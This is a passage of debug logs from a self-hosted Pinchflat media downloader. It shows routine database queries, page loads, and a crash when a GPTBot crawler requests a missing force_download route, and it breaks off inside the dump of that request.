JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 23:06:11.613 [debug] QUERY OK source="media_items" db=0.2ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 23:06:11.613 [debug] QUERY OK source="media_items" db=0.5ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:06:11.614 [debug] QUERY OK source="sources" db=0.3ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:06:11.618 [debug] QUERY OK source="media_items" db=0.5ms idle=6.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 23:06:11.619 [debug] QUERY OK source="media_items" db=0.8ms idle=6.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 23:06:11.620 [info] Sent 200 in 13ms 23:06:12.190 [info] GET /sources/1/ 23:06:12.190 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 23:06:12.190 [debug] QUERY OK source="sources" db=0.2ms idle=577.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:06:12.191 [debug] QUERY OK source="media_profiles" db=0.4ms idle=577.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 23:06:12.192 [debug] QUERY OK source="tasks" db=0.3ms queue=0.1ms idle=577.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [1, "executing", "available", "scheduled", "retryable"] 23:06:12.193 [debug] QUERY OK source="oban_jobs" db=0.2ms idle=574.4ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [114] 23:06:12.193 [debug] QUERY OK source="settings" db=0.2ms idle=573.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:12.194 [debug] QUERY OK source="settings" db=0.1ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:12.194 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:12.197 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:06:12.198 [debug] QUERY OK source="media_items" db=0.4ms idle=4.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:06:12.199 [debug] QUERY OK source="media_items" db=0.7ms queue=0.2ms idle=4.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:12.199 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:06:12.200 [debug] QUERY OK source="media_items" db=0.3ms idle=5.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:06:12.200 [debug] QUERY OK source="media_items" db=0.3ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:12.202 [debug] QUERY OK source="sources" db=0.2ms idle=4.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:06:12.203 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=3.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:06:12.204 [debug] QUERY OK source="media_items" db=0.8ms idle=3.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:12.205 [info] Sent 200 in 15ms 23:06:12.245 [info] CONNECTED TO Phoenix.LiveView.Socket in 39µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "I1F7VU19OB16RgZBMBUbEkkQGycNXBsMbaCxzIiSJrp4vtsYdWPlAdZ4", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.internal.ubrown.me/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.internal.ubrown.me/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 23:06:12.260 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "pending", "source_id" => 1} 23:06:12.261 [debug] QUERY OK source="sources" db=0.5ms idle=59.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:06:12.262 [debug] QUERY OK source="media_items" db=0.7ms idle=60.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 23:06:12.263 [debug] QUERY OK source="media_items" db=1.0ms idle=60.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:12.264 [debug] Replied in 3ms 23:06:12.264 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "downloaded", "source_id" => 1} 23:06:12.265 [debug] QUERY OK source="sources" db=0.2ms idle=61.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:06:12.265 [debug] QUERY OK source="media_items" db=0.1ms idle=61.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 23:06:12.266 [debug] QUERY OK source="media_items" db=0.5ms idle=5.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:12.267 [debug] Replied in 2ms 23:06:12.269 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8", "media_state" => "other", "source_id" => 1} 23:06:12.270 [debug] QUERY OK source="sources" db=0.3ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 23:06:12.271 [debug] QUERY OK source="media_items" db=0.6ms idle=7.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 23:06:12.272 [debug] QUERY OK source="media_items" db=0.8ms idle=6.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 23:06:12.273 [debug] Replied in 3ms 23:06:12.273 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "A08-74QN04vuFahK-GKKL8A8"} 23:06:12.273 [debug] Replied in 161µs 23:06:21.238 [info] GET /sources/1/media/51/force_download 23:06:21.239 [debug] QUERY OK source="settings" db=0.2ms idle=1174.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:21.240 [debug] QUERY OK source="settings" db=0.1ms idle=1175.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 23:06:21.240 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 23:06:21.240 [error] #PID<0.5301.0> running PinchflatWeb.Endpoint (connection #PID<0.5300.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /sources/1/media/51/force_download ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /sources/1/media/51/force_download (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.5300.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/sources/1/media/51/force_download", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50696}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, br, deflate", "connection" => "close", "from" => "gptbot(at)openai.com", "host" => "pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me/sources/1/media/51", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)", "x-forwarded-for" => "74.7.241.48", "x-forwarded-proto" => "https", "x-openai-host-hash" => "372783186", "x-real-ip" => "74.7.241.48" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.5301.0>, params: %{}, path_info: ["sources", "1", "media", "51", "force_download"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, br, deflate"}, {"connection", "close"}, {"from", "gptbot(at)openai.com"}, {"host", "pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me/sources/1/media/51"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; GPTBot/1.3; +https://openai.com/gptbot)"}, {"x-forwarded-for", "74.7.241.48"}, {"x-forwarded-proto", "https"}, {"x-openai-host-hash", "372783186"}, {"x-real-ip", "74.7.241.48"} ], request_path: "/sources/1/media/51/force_download", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", 